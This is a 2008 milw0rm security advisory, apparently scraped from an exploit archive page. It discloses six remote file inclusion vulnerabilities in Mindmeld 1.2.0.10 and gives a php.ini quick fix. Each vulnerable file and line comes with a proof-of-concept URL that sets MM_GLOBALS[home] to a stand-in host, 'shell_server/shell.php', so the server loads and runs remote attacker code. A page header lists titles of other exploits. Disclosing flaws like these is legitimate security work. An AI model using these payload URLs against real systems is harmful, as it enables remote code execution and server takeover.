477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
98 lines
2.3 KiB
Text
Executable file
98 lines
2.3 KiB
Text
Executable file
Summary
|
|
|
|
Mindmeld is an, "enterprise-capable knowledge-sharing system" written
|
|
in PHP. There are multiple remote file inclusion vulnerabilities in
|
|
Mindmeld version 1.2.0.10 (latest version).
|
|
|
|
Details
|
|
|
|
1. Vulnerable File and Line:
|
|
|
|
Mindmeld-1.2.0.10/acweb/admin_index.php: line 51
|
|
require_once ( $MM_GLOBALS['home']."include/utilities.inc" );
|
|
|
|
PoC:
|
|
|
|
http://server/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=http://shell
|
|
_server/shell.php?
|
|
|
|
---
|
|
2. Vulnerable file and line:
|
|
|
|
Mindmeld-1.2.0.10/include/ask.inc.php: line 34
|
|
require_once ( $MM_GLOBALS['home'] . "interfaces
|
|
{$MM_GLOBALS['interface']}/include/" .
|
|
"interface_{$MM_GLOBALS['interface']}_ask.inc" );
|
|
|
|
PoC:
|
|
|
|
http://server/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=http://
|
|
shell_server/shell.php?php?
|
|
|
|
---
|
|
3. Vulnerable File and Line:
|
|
|
|
Mindmeld-1.2.0.10/include/learn.inc.php: line 38
|
|
require_once ( $MM_GLOBALS['home'] . "interfaces/
|
|
{$MM_GLOBALS['interface']}/include/"
|
|
|
|
PoC:
|
|
|
|
http://server/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=http://shell
|
|
_server/shell.php?
|
|
|
|
---
|
|
4. Vulnerable File and Line:
|
|
|
|
Mindmeld-1.2.0.10/include/manage.inc.php: line 31
|
|
require_once ( $MM_GLOBALS['home'] . "interfaces/
|
|
{$MM_GLOBALS['interface']}/include/"
|
|
|
|
PoC:
|
|
|
|
http://server/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=http://shell
|
|
_server/shell.php?
|
|
|
|
---
|
|
5. Vulnerable File and Line:
|
|
|
|
Mindmeld-1.2.0.10/include/mind.inc.php: line 33
|
|
require_once( $MM_GLOBALS['home'] . 'include/utilities.inc' );
|
|
|
|
PoC:
|
|
|
|
http://server/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=http://shell
|
|
_server/shell.php?
|
|
|
|
---
|
|
6. Vulnerable File and Line:
|
|
|
|
Mindmeld-1.2.0.10/include/sensory.inc.php: line 70
|
|
require_once ( $MM_GLOBALS['home'] . "include/utilities.inc" );
|
|
|
|
PoC:
|
|
|
|
http://server/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=http://shell
|
|
_server/shell.php?
|
|
|
|
---
|
|
It appears that these vulnerabilities are not vulnerable to local file
|
|
includes.
|
|
|
|
These vulnerabilities have been disclosed to the vendor although
|
|
development on this software has stopped.
|
|
|
|
Sources:
|
|
|
|
http://mindmeld.sourceforge.net/
|
|
|
|
Quick Fix:
|
|
|
|
In php.ini, disable the following variables: register_globals,
|
|
allow_url_fopen, and allow_url_include.
|
|
|
|
Credit:
|
|
|
|
David Wharton
|
|
|
|
# milw0rm.com [2008-01-31]
|